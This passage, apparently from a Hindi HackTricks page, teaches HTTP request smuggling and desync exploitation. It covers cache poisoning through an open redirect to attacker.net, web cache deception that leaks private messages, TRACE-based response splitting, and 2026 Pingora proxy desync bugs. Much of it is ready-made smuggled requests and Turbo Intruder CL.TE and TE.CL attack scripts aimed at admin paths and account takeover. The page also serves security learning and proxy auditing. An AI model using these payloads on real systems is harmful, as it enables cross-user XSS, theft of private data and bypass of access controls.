नीचे cache poisoning combined with an on-site redirect to open redirect के exploitation का एक चित्रण है। उद्देश्य /static/include.js के cache content को बदलकर attacker द्वारा नियंत्रित JavaScript code serve करना है:

POST / HTTP/1.1
Host: vulnerable.net
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Content-Length: 124
Transfer-Encoding: chunked

0

GET /post/next?postId=3 HTTP/1.1
Host: attacker.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 10

x=1

ध्यान दें कि embedded request /post/next?postId=3 को target कर रहा है। इस request को /post?postId=4 पर redirect किया जाएगा, जिसमें domain निर्धारित करने के लिए Host header value का उपयोग किया जाएगा। Host header को बदलकर, attacker request को अपने domain पर redirect कर सकता है (on-site redirect to open redirect).

सफल socket poisoning के बाद, /static/include.js के लिए एक GET request शुरू की जानी चाहिए। यह request पहले वाली on-site redirect to open redirect request से contaminated हो जाएगी और attacker द्वारा नियंत्रित script की content fetch करेगी।

इसके बाद, /static/include.js के लिए कोई भी request cached content के रूप में attacker की script serve करेगी, जिससे एक व्यापक XSS attack प्रभावी रूप से शुरू हो जाएगा।

Web cache deception करने के लिए HTTP request smuggling का उपयोग

web cache poisoning और web cache deception में क्या अंतर है?

• web cache poisoning में, attacker application को cache में कुछ malicious content store करने के लिए मजबूर करता है, और यह content cache से अन्य application users को serve किया जाता है।
• web cache deception में, attacker application को किसी दूसरे user से संबंधित कुछ sensitive content cache में store करने के लिए मजबूर करता है, और फिर attacker इस content को cache से retrieve करता है।

Attacker एक smuggled request बनाता है जो sensitive user-specific content fetch करती है। निम्नलिखित example पर विचार करें:

`POST / HTTP/1.1`\
`Host: vulnerable-website.com`\
`Connection: keep-alive`\
`Content-Length: 43`\
`Transfer-Encoding: chunked`\
`` \ `0`\ ``\
`GET /private/messages HTTP/1.1`\
`Foo: X`

यदि यह smuggled request static content के लिए intended किसी cache entry को poison कर दे (जैसे, /someimage.png), तो victim का /private/messages से sensitive data static content की cache entry के तहत cache हो सकता है। परिणामस्वरूप, attacker संभावित रूप से इन cached sensitive data को retrieve कर सकता है।

HTTP Request Smuggling के माध्यम से TRACE का abuse

इस post में सुझाव दिया गया है कि यदि server पर TRACE method enabled है, तो इसे HTTP Request Smuggling के साथ abuse करना संभव हो सकता है। ऐसा इसलिए है क्योंकि यह method server को भेजे गए किसी भी header को response के body के भाग के रूप में reflect कर देता है। उदाहरण के लिए:

TRACE / HTTP/1.1
Host: example.com
XSS: <script>alert("TRACE")</script>

मैं इस तरह का response भेजूँगा:

HTTP/1.1 200 OK
Content-Type: message/http
Content-Length: 115

TRACE / HTTP/1.1
Host: vulnerable.com
XSS: <script>alert("TRACE")</script>
X-Forwarded-For: xxx.xxx.xxx.xxx

इस व्यवहार का abuse करने का एक उदाहरण होगा पहले एक HEAD request smuggle करना। इस request का response सिर्फ़ एक GET request के headers देगा (Content-Type उनमें से एक है)। और HEAD के तुरंत बाद एक TRACE request smuggle करना, जो भेजे गए data को reflect करेगा।
क्योंकि HEAD response में Content-Length header होगा, इसलिए TRACE request का response HEAD response के body के रूप में treat किया जाएगा, और इस तरह response में arbitrary data reflect होगा।
यह response connection पर अगली request को भेजा जाएगा, इसलिए इसे उदाहरण के लिए एक cached JS file में arbitrary JS code inject करने के लिए उपयोग किया जा सकता है।

HTTP Response Splitting के जरिए TRACE का abuse

इस post को आगे पढ़ना TRACE method का abuse करने का एक और तरीका सुझाता है। जैसा कि बताया गया है, एक HEAD request और एक TRACE request smuggle करके HEAD request के response में कुछ reflected data को control करना संभव है। HEAD request के body की length मूल रूप से Content-Length header में बताई जाती है और यह TRACE request के response से बनती है।

इसलिए, नया विचार यह होगा कि, इस Content-Length और TRACE response में दिए गए data को जानते हुए, TRACE response में अंतिम byte of the Content-Length के बाद एक valid HTTP response शामिल कराया जा सकता है, जिससे attacker अगली response के लिए request को पूरी तरह control कर सके (जिसका उपयोग cache poisoning करने के लिए किया जा सकता है)।

Example:

GET / HTTP/1.1
Host: example.com
Content-Length: 360

HEAD /smuggled HTTP/1.1
Host: example.com

POST /reflect HTTP/1.1
Host: example.com

SOME_PADDINGXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXHTTP/1.1 200 Ok\r\n
Content-Type: text/html\r\n
Cache-Control: max-age=1000000\r\n
Content-Length: 44\r\n
\r\n
<script>alert("response splitting")</script>

ये प्रतिक्रियाएँ उत्पन्न करेगा (ध्यान दें कि HEAD response में एक Content-Length है, जिससे TRACE response, HEAD body का हिस्सा बन जाता है, और जैसे ही HEAD Content-Length समाप्त होता है, एक valid HTTP response smuggled हो जाता है):

HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 0

HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 165

HTTP/1.1 200 OK
Content-Type: text/plain
Content-Length: 243

SOME_PADDINGXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXHTTP/1.1 200 Ok
Content-Type: text/html
Cache-Control: max-age=1000000
Content-Length: 50

<script>alert(“arbitrary response”)</script>

HTTP Response Desynchronisation के साथ HTTP Request Smuggling को weaponize करना

क्या आपने कोई HTTP Request Smuggling vulnerability पाई है और आपको नहीं पता कि उसे exploit कैसे करें? इन दूसरे exploitation methods को आज़माएँ:

HTTP Response Smuggling / Desync

अन्य HTTP Request Smuggling Techniques

• Browser HTTP Request Smuggling (Client Side)

Browser HTTP Request Smuggling

• HTTP/2 Downgrades में Request Smuggling

Request Smuggling in HTTP/2 Downgrades

Turbo intruder scripts

CL.TE

From https://hipotermia.pw/bb/http-desync-idor

def queueRequests(target, wordlists):

engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
resumeSSL=False,
timeout=10,
pipeline=False,
maxRetriesPerRequest=0,
engine=Engine.THREADED,
)
engine.start()

attack = '''POST / HTTP/1.1
Transfer-Encoding: chunked
Host: xxx.com
Content-Length: 35
Foo: bar

0

GET /admin7 HTTP/1.1
X-Foo: k'''

engine.queue(attack)

victim = '''GET / HTTP/1.1
Host: xxx.com

'''
for i in range(14):
engine.queue(victim)
time.sleep(0.05)

def handleResponse(req, interesting):
table.add(req)

TE.CL

From: https://hipotermia.pw/bb/http-desync-account-takeover

def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
resumeSSL=False,
timeout=10,
pipeline=False,
maxRetriesPerRequest=0,
engine=Engine.THREADED,
)
engine.start()

attack = '''POST / HTTP/1.1
Host: xxx.com
Content-Length: 4
Transfer-Encoding : chunked

46
POST /nothing HTTP/1.1
Host: xxx.com
Content-Length: 15

kk
0

'''
engine.queue(attack)

victim = '''GET / HTTP/1.1
Host: xxx.com

'''
for i in range(14):
engine.queue(victim)
time.sleep(0.05)


def handleResponse(req, interesting):
table.add(req)

Reverse-proxy parsing footguns (Pingora 2026)

कई 2026 Pingora bugs उपयोगी हैं क्योंकि वे दिखाते हैं कि classic CL.TE / TE.CL से परे desync primitives भी होते हैं। reusable lesson यह है: जब भी कोई proxy बहुत जल्दी parsing रोक देता है, Transfer-Encoding को backend से अलग तरीके से normalize करता है, या request bodies के लिए read-until-close पर fallback करता है, तो traditional CL/TE ambiguity के बिना भी आपको FE↔BE desync मिल सकता है।

Premature Upgrade passthrough

अगर कोई reverse proxy जैसे ही Upgrade header दिखे, raw tunnel / passthrough mode में switch कर देता है, और backend के 101 Switching Protocols के साथ switch confirm करने का इंतज़ार नहीं करता, तो आप same TCP stream में दूसरा request smuggle कर सकते हैं:

GET / HTTP/1.1
Host: target.com
Upgrade: anything
Content-Length: 0

GET /admin HTTP/1.1
Host: target.com

फ्रंट-एंड केवल पहला request parse करता है, फिर बाकी को raw bytes के रूप में forward कर देता है। backend appened bytes को proxy के trusted IP से आए एक नए request के रूप में parse करता है। यह खास तौर पर उपयोगी है:

• proxy ACLs, WAF rules, auth checks, और rate limits को bypass करने के लिए।
• internal-only endpoints तक पहुँचने के लिए जो reverse proxy IP पर trust करते हैं।
• reused backend connections पर cross-user response queue poisoning trigger करने के लिए।

proxies का audit करते समय, हमेशा test करें कि क्या कोई भी Upgrade value passthrough trigger करती है, और verify करें कि switch backend के 101 reply देने से पहले होता है या बाद में।

Transfer-Encoding normalization bugs + HTTP/1.0 close-delimited fallback

एक और उपयोगी pattern है:

1. proxy देखता है कि Transfer-Encoding present है, इसलिए वह Content-Length strip कर देता है।
2. proxy TE को सही से normalize करने में fail करता है।
3. proxy के पास अब कोई recognized framing नहीं रहती और वह HTTP/1.0 के लिए close-delimited request bodies पर fall back करता है।
4. backend TE को सही से समझता है और 0\r\n\r\n के बाद के bytes को एक नए request के रूप में treat करता है।

इसे trigger करने के common तरीके:

• Comma-separated TE list not parsed:

GET / HTTP/1.0
Host: target.com
Connection: keep-alive
Transfer-Encoding: identity, chunked
Content-Length: 29

0

GET /admin HTTP/1.1
X:

• Duplicate TE headers not merged:

POST /legit HTTP/1.0
Host: target.com
Connection: keep-alive
Transfer-Encoding: identity
Transfer-Encoding: chunked

0

GET /admin HTTP/1.1
Host: target.com
X:

महत्वपूर्ण audit checks ये हैं:

• क्या front-end last TE token को parse करता है, जैसा कि chunked के last होने पर required है?
• क्या वह सिर्फ first के बजाय सभी Transfer-Encoding headers का use करता है?
• क्या आप HTTP/1.0 को force करके read-until-close body mode trigger कर सकते हैं?
• क्या proxy कभी close-delimited request bodies allow करता है? यह अपने-आप में high-value desync smell है।

यह class बाहर से अक्सर CL.TE जैसी दिखती है, लेकिन असली primitive यह है: TE present –> CL stripped –> no valid framing recognized –> request body forwarded until close।

Related cache poisoning primitive: path-only cache keys

Same Pingora audit ने एक dangerous reverse-proxy cache anti-pattern भी expose किया: cache key को सिर्फ URI path से derive करना, जबकि Host, scheme, या port को ignore करना। Multi-tenant या multi-vhost deployments में, अलग-अलग hosts फिर same cache entry पर collide कर सकते हैं:

GET /api/data HTTP/1.1
Host: evil.com

GET /api/data HTTP/1.1
Host: victim.com

अगर दोनों requests एक ही cache key (/api/data) पर map होती हैं, तो एक tenant दूसरे के लिए content poison कर सकता है। अगर origin redirects, CORS, HTML, या script URLs में Host header reflect करता है, तो low-value Host reflection cross-user stored cache poisoning बन सकता है।

जब caches review करें, confirm करें कि key में कम से कम यह शामिल हो:

• Host / virtual host identity
• scheme (http vs https) जब behavior अलग हो
• port जब multiple applications same cache namespace share करती हों

Tools

• HTTP Hacker (Burp BApp Store) – concatenation/framing और low-level HTTP behavior visualize करें
• https://github.com/PortSwigger/bambdas/blob/main/CustomAction/SmugglingOrPipelining.bambda Burp Repeater Custom Action “Smuggling or pipelining?”
• https://github.com/anshumanpattnaik/http-request-smuggling
• https://github.com/PortSwigger/http-request-smuggler
• https://github.com/gwen001/pentest-tools/blob/master/smuggler.py
• https://github.com/defparam/smuggler
• https://github.com/Moopinger/smugglefuzz
• https://github.com/bahruzjabiyev/t-reqs-http-fuzzer: यह tool एक grammar-based HTTP Fuzzer है, जो weird request smuggling discrepancies खोजने के लिए उपयोगी है।

References

• https://portswigger.net/web-security/request-smuggling
• https://portswigger.net/web-security/request-smuggling/finding
• https://portswigger.net/web-security/request-smuggling/exploiting
• https://medium.com/cyberverse/http-request-smuggling-in-plain-english-7080e48df8b4
• https://github.com/haroonawanofficial/HTTP-Desync-Attack/
• https://memn0ps.github.io/2019/11/02/HTTP-Request-Smuggling-CL-TE.html
• https://standoff365.com/phdays10/schedule/tech/http-request-smuggling-via-higher-http-versions/
• https://portswigger.net/research/trace-desync-attack
• https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/
• Beware the false false‑positive: how to distinguish HTTP pipelining from request smuggling – https://portswigger.net/research/how-to-distinguish-http-pipelining-from-request-smuggling
• https://http1mustdie.com/
• Browser‑Powered Desync Attacks – https://portswigger.net/research/browser-powered-desync-attacks
• PortSwigger Academy – client‑side desync – https://portswigger.net/web-security/request-smuggling/browser/client-side-desync
• https://portswigger.net/research/http1-must-die
• https://xclow3n.github.io/post/6/
• https://github.com/cloudflare/pingora/security/advisories/GHSA-xq2h-p299-vjwv
• https://github.com/cloudflare/pingora/security/advisories/GHSA-hj7x-879w-vrp7
• https://github.com/cloudflare/pingora/security/advisories/GHSA-f93w-pcj3-rggc

Tip

AWS Hacking सीखें & अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking सीखें & अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking सीखें & अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE) assessment tracks (ARTA/GRTA/AzRTA) और Linux Hacking Expert (LHE) के लिए full HackTricks Training catalog ब्राउज़ करें।

HackTricks का समर्थन करें

• subscription plans देखें!
• जुड़ें 💬 Discord group, telegram group, follow करें @hacktricks_live X/Twitter पर, या LinkedIn page और YouTube channel देखें।
• HackTricks](https://github.com/carlospolop/hacktricks) और HackTricks Cloud github repos में PRs सबमिट करके hacking tricks साझा करें।